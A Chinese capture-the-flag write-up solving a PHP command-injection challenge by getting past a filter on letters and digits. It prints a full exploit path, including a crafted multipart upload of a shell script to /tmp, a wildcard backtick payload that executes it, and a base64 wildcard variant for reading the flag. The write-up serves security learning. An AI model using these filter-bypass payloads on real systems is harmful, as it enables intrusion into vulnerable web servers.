Web 红包题第二弹
红包题第二弹 wp
页面源代码发现提示 ?cmd=
尝试?cmd=phpinfo(); 得到源码
很明显，这里存在命令执行漏洞，除了p以外的字母数字的过滤可以走无字母数字RCE（异或，取反，自增）
这里推荐一篇P神的文章（一些不包含数字和字母的webshell）：https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
现在$ _和各种符号被过滤，无字母数字RCE就没法完成了，依旧通过P神的学习，完善的语言通常会与操作系统交互，而反引号 ` 就是简单的执行操作命令符号，配合. file就能执行文件内的系统命令（注意是.空格file）
如 `. 1.txt` 就能让操作系统解析1.txt文件并执行文件内的系统命令
思路
参考内容
P神文章（无字母数字webshell之提高篇）：https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
大佬文章：https://blog.csdn.net/Ethan552525/article/details/118459568
构造post上传一个1.txt文件，文件内容为（#! /bin/sh ls）,同时. file执行文件内容，因为我们上传的文件会被改名保存在临时文件夹tmp中，默认文件名为/tmp/phpxxxxxx （x是任意大小写字母），文件会在请求包结束后删掉，所以需要在上传的同时. file执行
构造post体
第一步：抓包，修改请求方式
修改三个部分
1.Content-Type:声明文件上传类型
Content- Type 有两个值：①application/x-www-form-urlencoded(默认值) ：上传键值对
②multipart/form-data：上传文件
这里修改Content-Type：multipart/form-data; boundary=---------------------------10242300956292313528205888 （文件类型是文件上传）
2.boundary 标识文件开始和结束，中间是文件属性和文件内容
boundary为边界分隔符
文件开始标记：-----------------------------10242300956292313528205888
文件结束标记：-----------------------------10242300956292313528205888--
这里最下面添加
-----------------------------10242300956292313528205888 （注意:要在content-length下面空一行）
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
ls
-----------------------------10242300956292313528205888--
3.通配符执行文件首行url添加 /?cmd=?><?=`.+/??p/p?p??????`;
?是通配符，匹配所有字符
这里?>闭合
这里<?等价与echo，<?也等价于<?php
+号：在url中+号可以表示空格
最总构造结果:
得知当前工作目录下有index.php，我们的目标是flag
查看上级目录
没有flag，继续上级目录
再来
确定flag的位置：../../../flag.txt，接着cat ../../../flag.txt读取flag
flag：ctfshow{8a276a65-bae1-4a7e-95c6-628d636b93ca}
这里题型有两种做法，第一种是上面的wp
第二种做法,如果代码没有过滤数字：?cmd=/bin/base64 flag.txt
通配符：?cmd=/???/????64 ????.???
/bin/base64 flag.txt bin目录存放很多基础的系统命令，引用bin目录下的base64命令转换文件内容，并输出出来